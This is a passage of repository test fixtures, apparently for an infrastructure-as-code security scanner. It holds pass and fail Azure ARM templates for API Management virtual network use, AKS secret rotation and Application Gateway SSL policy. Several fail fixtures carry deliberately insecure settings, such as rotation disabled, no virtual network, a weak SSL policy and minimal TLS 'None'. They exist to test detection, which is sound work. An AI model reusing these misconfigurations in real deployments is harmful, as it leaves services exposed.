    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.20.4.51522\",\n      \"templateHash\": \"6577944355650859703\"\n    }\n  },\n  \"parameters\": {\n    \"publisherEmail\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The email address of the owner of the service\"\n      }\n    },\n    \"publisherName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The name of the owner of the service\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Developer\",\n      \"allowedValues\": [\n        \"Basic\",\n        \"Consumption\",\n        \"Developer\",\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of this API Management service\"\n      }\n    },\n    \"skuCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"metadata\": {\n        \"description\": \"The instance size of this API Management service.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"jonasAdmin\",\n        \"version\": \"12.0\",\n        \"state\": \"Ready\",\n        \"fullyQualifiedDomainName\": \"jonas.database.windows.net\",\n        \"privateEndpointConnections\": [],\n        \"minimalTlsVersion\": \"None\",\n        \"publicNetworkAccess\": \"Disabled\",\n        \"restrictOutboundNetworkAccess\": \"Disabled\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_APIServicesUseVirtualNetwork/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apimName\": {\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"tier\": {\n            \"type\": \"string\"\n        },\n        \"capacity\": {\n            \"type\": \"string\"\n        },\n        \"adminEmail\": {\n            \"type\": \"string\"\n        },\n        \"organizationName\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkType\": {\n            \"type\": \"string\"\n        },\n        \"tagsByResource\": {\n            \"type\": \"object\"\n        },\n        \"vnet\": {\n            \"type\": \"object\"\n        },\n        \"customProperties\": {\n            \"type\": \"object\"\n        },\n        \"identity\": {\n            \"type\": \"object\"\n        },\n        \"appInsightsObject\": {\n            \"type\": \"object\"\n        },\n        \"privateEndpoint\": {\n            \"type\": \"object\"\n        },\n        \"privateDnsDeploymentName\": {\n            \"type\": \"string\"\n        },\n        \"subnetDeploymentName\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"apimNsgName\": \"[concat('apimnsg', uniqueString(resourceGroup().id))]\"\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.ApiManagement/service\",\n            \"apiVersion\": \"2021-01-01-preview\",\n            \"name\": \"fail\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"[parameters('tier')]\",\n                \"capacity\": \"[parameters('capacity')]\"\n            },\n            \"identity\": \"[parameters('identity')]\",\n            \"tags\": \"[parameters('tagsByResource')]\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\"\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_APIServicesUseVirtualNetwork/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apimName\": {\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"tier\": {\n            \"type\": \"string\"\n        },\n        \"capacity\": {\n            \"type\": \"string\"\n        },\n        \"adminEmail\": {\n            \"type\": \"string\"\n        },\n        \"organizationName\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkType\": {\n            \"type\": \"string\"\n        },\n        \"tagsByResource\": {\n            \"type\": \"object\"\n        },\n        \"vnet\": {\n            \"type\": \"object\"\n        },\n        \"customProperties\": {\n            \"type\": \"object\"\n        },\n        \"identity\": {\n            \"type\": \"object\"\n        },\n        \"appInsightsObject\": {\n            \"type\": \"object\"\n        },\n        \"privateEndpoint\": {\n            \"type\": \"object\"\n        },\n        \"privateDnsDeploymentName\": {\n            \"type\": \"string\"\n        },\n        \"subnetDeploymentName\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"apimNsgName\": \"[concat('apimnsg', uniqueString(resourceGroup().id))]\"\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2020-04-01\",\n            \"name\": \"[parameters('vnet').name]\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('vnet').addressPrefixes]\"\n                },\n                \"subnets\": [\n                    {\n                        \"name\": \"[parameters('vnet').selectedSubnetName]\",\n                        \"properties\": {\n                            \"addressPrefix\": \"[parameters('vnet').selectedSubnetAddressPrefix]\",\n                            \"networkSecurityGroup\": {\n                                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('apimNsgName'))]\"\n                            }\n                        }\n                    }\n                ]\n            },\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('apimNsgName'))]\"\n            ]\n        },\n        {\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"name\": \"[variables('apimNsgName')]\",\n            \"apiVersion\": \"2020-06-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": [\n                    {\n                        \"name\": \"Client_communication_to_API_Management\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"80\",\n                            \"sourceAddressPrefix\": \"Internet\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 100,\n                            \"direction\": \"Inbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Secure_Client_communication_to_API_Management\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"443\",\n                            \"sourceAddressPrefix\": \"Internet\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 110,\n                            \"direction\": \"Inbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Management_endpoint_for_Azure_portal_and_Powershell\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"3443\",\n                            \"sourceAddressPrefix\": \"ApiManagement\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 120,\n                            \"direction\": \"Inbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_on_Redis_Cache\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"6381-6383\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 130,\n                            \"direction\": \"Inbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_to_sync_Rate_Limit_Inbound\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"4290\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 135,\n                            \"direction\": \"Inbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_on_Azure_SQL\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"1433\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"Sql\",\n                            \"access\": \"Allow\",\n                            \"priority\": 140,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_for_Log_to_event_Hub_policy\",\n                        \"properties\": {\n                            \"protocol\": \"*\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"5671\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"EventHub\",\n                            \"access\": \"Allow\",\n                            \"priority\": 150,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_on_Redis_Cache_outbound\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"6381-6383\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 160,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Depenedency_To_sync_RateLimit_Outbound\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"4290\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 165,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_on_Azure_File_Share_for_GIT\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"445\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"Storage\",\n                            \"access\": \"Allow\",\n                            \"priority\": 170,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Azure_Infrastructure_Load_Balancer\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"*\",\n                            \"sourceAddressPrefix\": \"AzureLoadBalancer\",\n                            \"destinationAddressPrefix\": \"VirtualNetwork\",\n                            \"access\": \"Allow\",\n                            \"priority\": 180,\n                            \"direction\": \"Inbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Publish_DiagnosticLogs_And_Metrics\",\n                        \"properties\": {\n                            \"description\": \"APIM Logs and Metrics for consumption by admins and your IT team are all part of the management plane\",\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"AzureMonitor\",\n                            \"access\": \"Allow\",\n                            \"priority\": 185,\n                            \"direction\": \"Outbound\",\n                            \"destinationPortRanges\": [\n                                \"443\",\n                                \"12000\",\n                                \"1886\"\n                            ]\n                        }\n                    },\n                    {\n                        \"name\": \"Connect_To_SMTP_Relay_For_SendingEmails\",\n                        \"properties\": {\n                            \"description\": \"APIM features the ability to generate email traffic as part of the data plane and the management plane\",\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"Internet\",\n                            \"access\": \"Allow\",\n                            \"priority\": 190,\n                            \"direction\": \"Outbound\",\n                            \"destinationPortRanges\": [\n                                \"25\",\n                                \"587\",\n                                \"25028\"\n                            ]\n                        }\n                    },\n                    {\n                        \"name\": \"Authenticate_To_Azure_Active_Directory\",\n                        \"properties\": {\n                            \"description\": \"Connect to Azure Active Directory for Developer Portal Authentication or for Oauth2 flow during any Proxy Authentication\",\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"AzureActiveDirectory\",\n                            \"access\": \"Allow\",\n                            \"priority\": 200,\n                            \"direction\": \"Outbound\",\n                            \"destinationPortRanges\": [\n                                \"80\",\n                                \"443\"\n                            ]\n                        }\n                    },\n                    {\n                        \"name\": \"Dependency_on_Azure_Storage\",\n                        \"properties\": {\n                            \"description\": \"APIM service dependency on Azure Blob and Azure Table Storage\",\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"443\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"Storage\",\n                            \"access\": \"Allow\",\n                            \"priority\": 100,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Publish_Monitoring_Logs\",\n                        \"properties\": {\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"443\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"AzureCloud\",\n                            \"access\": \"Allow\",\n                            \"priority\": 300,\n                            \"direction\": \"Outbound\"\n                        }\n                    },\n                    {\n                        \"name\": \"Access_KeyVault\",\n                        \"properties\": {\n                            \"description\": \"Allow APIM service control plane access to KeyVault to refresh secrets\",\n                            \"protocol\": \"Tcp\",\n                            \"sourcePortRange\": \"*\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"AzureKeyVault\",\n                            \"access\": \"Allow\",\n                            \"priority\": 350,\n                            \"direction\": \"Outbound\",\n                            \"destinationPortRanges\": [\n                                \"443\"\n                            ]\n                        }\n                    },\n                    {\n                        \"name\": \"Deny_All_Internet_Outbound\",\n                        \"properties\": {\n                            \"protocol\": \"*\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationPortRange\": \"*\",\n                            \"sourceAddressPrefix\": \"VirtualNetwork\",\n                            \"destinationAddressPrefix\": \"Internet\",\n                            \"access\": \"Deny\",\n                            \"priority\": 999,\n                            \"direction\": \"Outbound\"\n                        }\n                    }\n                ]\n            }\n        },\n        {\n            \"type\": \"Microsoft.ApiManagement/service\",\n            \"apiVersion\": \"2021-01-01-preview\",\n            \"name\": \"pass\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"[parameters('tier')]\",\n                \"capacity\": \"[parameters('capacity')]\"\n            },\n            \"identity\": \"[parameters('identity')]\",\n            \"tags\": \"[parameters('tagsByResource')]\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\",\n                \"virtualNetworkType\": \"External\",\n                \"virtualNetworkConfiguration\": \"[json(concat('{\\\"subnetResourceId\\\": \\\"', resourceId(parameters('vnet').resourceGroup, 'Microsoft.Network/virtualNetworks/subnets', parameters('vnet').name, parameters('vnet').selectedSubnetName), '\\\"}'))]\"\n            },\n            \"resources\": [],\n            \"dependsOn\": [\n                \"[parameters('vnet').name]\"\n            ]\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AkSSecretStoreRotation/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AkSSecretStoreRotation/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail1\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          },\n          \"azureKeyvaultSecretsProvider\": {\n         \"enabled\": true,\n          \"config\": {\n          \"enableSecretRotation\": false\n        }\n      }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AkSSecretStoreRotation/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"pass\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          },\n          \"azureKeyvaultSecretsProvider\": {\n         \"enabled\": true,\n          \"config\": {\n          \"enableSecretRotation\": true\n        }\n      }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/empty_sslPolicy_fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"addressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the Virtual Network\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/28\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_Small\",\n        \"Standard_Medium\",\n        \"Standard_Large\"\n      ],\n      \"defaultValue\": \"Standard_Medium\",\n      \"metadata\": {\n        \"description\": \"Sku Name\"\n      }\n    },\n    \"capacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of instances\"\n      }\n    },\n    \"backendIpAddress1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 1\"\n      }\n    },\n    \"backendIpAddress2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 2\"\n      }\n    },\n    \"certData\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Base-64 encoded form of the .pfx file\"\n      }\n    },\n    \"certPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for .pfx certificate\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"applicationGatewayName\": \"applicationGateway1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"virtualNetworkName\": \"virtualNetwork1\",\n    \"subnetName\": \"appGatewaySubnet\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPRef\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-02-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"defoult\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"empty_sslPolicy_fail1\",\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"Standard\",\n          \"capacity\": \"[parameters('capacity')]\"\n        },\n        \"sslCertificates\": [\n          {\n            \"name\": \"appGatewaySslCert\",\n            \"properties\": {\n              \"data\": \"[parameters('certData')]\",\n              \"password\": \"[parameters('certPassword')]\"\n            }\n          }\n        ],\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGatewayFrontendIP\",\n            \"properties\": {\n              \"PublicIPAddress\": {\n                \"id\": \"[variables('publicIPRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"appGatewayFrontendPort\",\n            \"properties\": {\n              \"Port\": 443\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"appGatewayBackendPool\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress1')]\"\n                },\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress2')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"appGatewayBackendHttpSettings\",\n            \"properties\": {\n              \"Port\": 80,\n              \"Protocol\": \"Http\",\n              \"CookieBasedAffinity\": \"Disabled\"\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"appGatewayHttpListener\",\n            \"properties\": {\n              \"FrontendIPConfiguration\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGatewayName'), 'appGatewayFrontendIP')]\"\n              },\n              \"FrontendPort\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGatewayName'), 'appGatewayFrontendPort')]\"\n              },\n              \"Protocol\": \"Https\",\n              \"SslCertificate\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/sslCertificates', variables('applicationGatewayName'), 'appGatewaySslCert')]\"\n              }\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"Name\": \"rule1\",\n            \"properties\": {\n              \"RuleType\": \"Basic\",\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGatewayName'), 'appGatewayHttpListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGatewayName'), 'appGatewayBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n              }\n            }\n          }\n        ],\n        \"sslPolicy\": {\n          \"disabledSslProtocols\": \"TLSv1_0\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_policyName_fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"addressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the Virtual Network\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/28\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_Small\",\n        \"Standard_Medium\",\n        \"Standard_Large\"\n      ],\n      \"defaultValue\": \"Standard_Medium\",\n      \"metadata\": {\n        \"description\": \"Sku Name\"\n      }\n    },\n    \"capacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of instances\"\n      }\n    },\n    \"backendIpAddress1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 1\"\n      }\n    },\n    \"backendIpAddress2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 2\"\n      }\n    },\n    \"certData\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Base-64 encoded form of the .pfx file\"\n      }\n    },\n    \"certPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for .pfx certificate\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"applicationGatewayName\": \"applicationGateway1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"virtualNetworkName\": \"virtualNetwork\",\n    \"subnetName\": \"appGatewaySubnet\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPRef\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-02-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": 